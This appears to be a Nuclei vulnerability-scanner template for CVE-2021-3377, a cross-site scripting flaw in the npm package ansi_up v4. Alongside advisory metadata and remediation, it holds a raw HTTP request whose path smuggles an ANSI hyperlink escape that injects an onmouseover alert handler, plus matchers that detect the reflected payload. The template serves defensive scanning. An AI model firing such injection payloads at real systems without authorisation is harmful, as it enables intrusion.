49 lines
1.5 KiB
YAML
49 lines
1.5 KiB
YAML
id: CVE-2021-3377
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info:
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name: npm ansi_up v4 - Cross-Site Scripting
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author: geeknik
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severity: medium
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description: npm package ansi_up v4 is vulnerable to cross-site scripting because ANSI escape codes can be used to create HTML hyperlinks.
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remediation: Upgrade to v5.0.0 or later.
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reference:
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- https://doyensec.com/resources/Doyensec_Advisory_ansi_up4_XSS.pdf
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- https://github.com/drudru/ansi_up/commit/c8c726ed1db979bae4f257b7fa41775155ba2e27
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- https://nvd.nist.gov/vuln/detail/CVE-2021-3377
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-3377
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cwe-id: CWE-79
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epss-score: 0.00121
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epss-percentile: 0.46087
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cpe: cpe:2.3:a:ansi_up_project:ansi_up:*:*:*:*:*:node.js:*:*
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metadata:
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max-request: 1
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vendor: ansi_up_project
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product: ansi_up
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framework: node.js
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tags: cve,cve2021,xss,npm
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http:
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- raw:
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- |+
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GET /\u001B]8;;https://interact.sh"/onmouseover="alert(1)\u0007example\u001B]8;;\u0007 HTTP/1.1
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Host: {{Hostname}}
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Connection: close
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unsafe: true
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "text/html"
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- type: word
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words:
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- "sh\"/onmouseover=\"alert(1)\">"
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# digest: 490a0046304402205bcadf3b317982976103c60e3552bf164ed904a3575147e54d73dd5e7d6b9a6402202377fe6ca76d2b3d3d089a2d7b62d69ad72daac2f41d19cd2e54e329a2a0b755:922c64590222798bb761d5b6d8e72950
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